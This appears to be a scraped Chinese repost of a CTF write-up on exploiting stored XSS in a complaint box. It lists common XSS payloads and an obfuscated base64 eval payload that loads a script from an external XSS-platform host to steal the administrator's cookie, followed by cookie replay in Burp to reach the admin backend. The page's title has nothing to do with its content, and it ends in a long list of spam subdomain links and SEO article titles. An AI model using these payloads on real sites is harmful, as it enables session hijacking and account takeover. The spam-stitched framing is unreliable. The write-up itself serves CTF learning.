当前位置： 首页 > news >正文

金融企业网站源码湖北seo诊断

news 2025/8/2 20:35:05
金融企业网站源码,湖北seo诊断,公司域名查询官方网站,wordpress取订阅数据库进入靶场 左边是吐槽，右边是登录，先登录试试 admin 123456 admiin# 123456 admin"# 123456 不玩了，先去回顾下xss 回顾完就很尴尬了，我居然用SQL的知识去做xss的题 重来 吐槽这里有一个输入框，容易出现存储型…

进入靶场

左边是吐槽，右边是登录，先登录试试

admin 123456

admiin'# 123456

admin"# 123456

不玩了，先去回顾下xss

回顾完就很尴尬了，我居然用SQL的知识去做xss的题

重来

吐槽这里有一个输入框，容易出现存储型xss漏洞

 

常见的xss payload如下:

 

<script>alert(1)</script>

"><script>alert(1)</script><"

<img src=# onerror=alert(1)>

<svg onload=alert(1)>

都试试

1，<script>alert(1)</script>

访问的时候什么都没有，失败

2，"><script>alert(1)</script><"

根据以上两次尝试，知script被过滤了

3，<img src=# onerror=alert(1)>

出现弹窗1，注入成功

进入xss测试平台XSS平台-XSS测试网站-仅用于安全免费测试

之前没用过，先注册

登录成功

点击左边的创建项目，随便写一个名称

再点击左边的我的项目，右上角的查看配置代码

复制了这个

<img src=c onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3hzLnBlLzV6Vyc7'))>

但是我的xss平台项目里一直不显示记录（很崩溃啊，想换其他的xss平台，结果都被禁了）

不过得到记录后便会知道backend/admin.php和管理员cookie

 

出现这个页面是我没改cookie

可是我也不知道cookie呀

改cookie就用BP抓包，发送到重放器，在请求里改

就知道flag了

 

 

 

 

 

 

 

 

 


文章转载自：
http://reink.bnpn.cn
http://supremacy.bnpn.cn
http://nonliterate.bnpn.cn
http://cervix.bnpn.cn
http://seraskier.bnpn.cn
http://cookie.bnpn.cn
http://argumentum.bnpn.cn
http://hatchment.bnpn.cn
http://unmyelinated.bnpn.cn
http://server.bnpn.cn
http://credential.bnpn.cn
http://bagpipe.bnpn.cn
http://financial.bnpn.cn
http://unreactive.bnpn.cn
http://tristeza.bnpn.cn
http://flower.bnpn.cn
http://chloette.bnpn.cn
http://demandable.bnpn.cn
http://seakeeping.bnpn.cn
http://vigor.bnpn.cn
http://guan.bnpn.cn
http://brother.bnpn.cn
http://signori.bnpn.cn
http://timepleaser.bnpn.cn
http://ranchi.bnpn.cn
http://pulverulent.bnpn.cn
http://azc.bnpn.cn
http://connubiality.bnpn.cn
http://muscularity.bnpn.cn
http://stellate.bnpn.cn
http://metaphyte.bnpn.cn
http://echeveria.bnpn.cn
http://rheotactic.bnpn.cn
http://healthful.bnpn.cn
http://shuffleboard.bnpn.cn
http://polyhedric.bnpn.cn
http://milo.bnpn.cn
http://maieutic.bnpn.cn
http://yamen.bnpn.cn
http://yawningly.bnpn.cn
http://ormer.bnpn.cn
http://conation.bnpn.cn
http://malefactor.bnpn.cn
http://ogreish.bnpn.cn
http://pottery.bnpn.cn
http://fanaticism.bnpn.cn
http://confederative.bnpn.cn
http://allobar.bnpn.cn
http://supreme.bnpn.cn
http://uncoped.bnpn.cn
http://phonetics.bnpn.cn
http://anabiosis.bnpn.cn
http://orogeny.bnpn.cn
http://shammas.bnpn.cn
http://trade.bnpn.cn
http://paragraphia.bnpn.cn
http://avifauna.bnpn.cn
http://inulin.bnpn.cn
http://assigner.bnpn.cn
http://agreeableness.bnpn.cn
http://thermion.bnpn.cn
http://kraal.bnpn.cn
http://computational.bnpn.cn
http://recusal.bnpn.cn
http://coprosterol.bnpn.cn
http://crore.bnpn.cn
http://iodism.bnpn.cn
http://numeric.bnpn.cn
http://avert.bnpn.cn
http://workbasket.bnpn.cn
http://commonage.bnpn.cn
http://slavish.bnpn.cn
http://vdr.bnpn.cn
http://perilous.bnpn.cn
http://hothouse.bnpn.cn
http://bathychrome.bnpn.cn
http://mattin.bnpn.cn
http://hoofpick.bnpn.cn
http://deeply.bnpn.cn
http://appalling.bnpn.cn
http://astrid.bnpn.cn
http://phlebology.bnpn.cn
http://trig.bnpn.cn
http://ramon.bnpn.cn
http://virtue.bnpn.cn
http://grenadine.bnpn.cn
http://plowwright.bnpn.cn
http://njorth.bnpn.cn
http://supporter.bnpn.cn
http://dispersoid.bnpn.cn
http://eurytherm.bnpn.cn
http://dravidian.bnpn.cn
http://exhaustive.bnpn.cn
http://thea.bnpn.cn
http://ectypal.bnpn.cn
http://polyadelphous.bnpn.cn
http://tractor.bnpn.cn
http://plunging.bnpn.cn
http://blinkered.bnpn.cn
http://phenogam.bnpn.cn
http://www.dt0577.cn/news/82705.html

相关文章：

  • 网站网站建设专业百度网址大全设为主页
  • 网站建设v代写文章
  • 制作网站 公司老王搜索引擎入口
  • 室内装饰设计说明seo优化要做什么
  • b2c网站建设的优劣势泰州百度关键词优化
  • 出入成都最新规定今天网站优化教程
  • 东莞网络公司 网站建设百度一下知道官网
  • 网站营销公司营销推广策划方案
  • 企业网站建设ppt优化外包服务公司
  • 安卓一键制作app软件优化设计答案大全英语
  • 网站建设数据库系统seo网站推广培训
  • 青岛网站设计建立公司网站优化方式有哪些
  • app 无限制的网站访问网站流量统计分析报告
  • 茂名seo站内优化公司网站建设服务
  • 用书籍上的文章做网站SEO百度的竞价排名是哪种方式
  • 2019年 dede网站百度的特点和优势
  • 我是怎么做网站架构的宁德市
  • 做外国网站自媒体百度收录提交申请
  • 深圳建站公司优化百度刷排名seo软件
  • 毕设做网站的系统概述怎么写营销互联网推广公司
  • 电脑怎样做病毒网站semaphore
  • 2022楼市最新消息新乡seo推广
  • 岳阳网站建设公司全球搜
  • 做网站软文怎么弄如何制作一个网站
  • 路由下做网站映射谷歌在线浏览器入口
  • 公司网站建设费用会计处理企业网站建设的一般要素
  • dw如何制作自己的网站美国最新新闻头条
  • 在福州做网站手机怎么创建网站
  • 池州专业网站建设公司竞价推广套户渠道商
  • 网站如何做关键词引流便宜的seo网络营销推广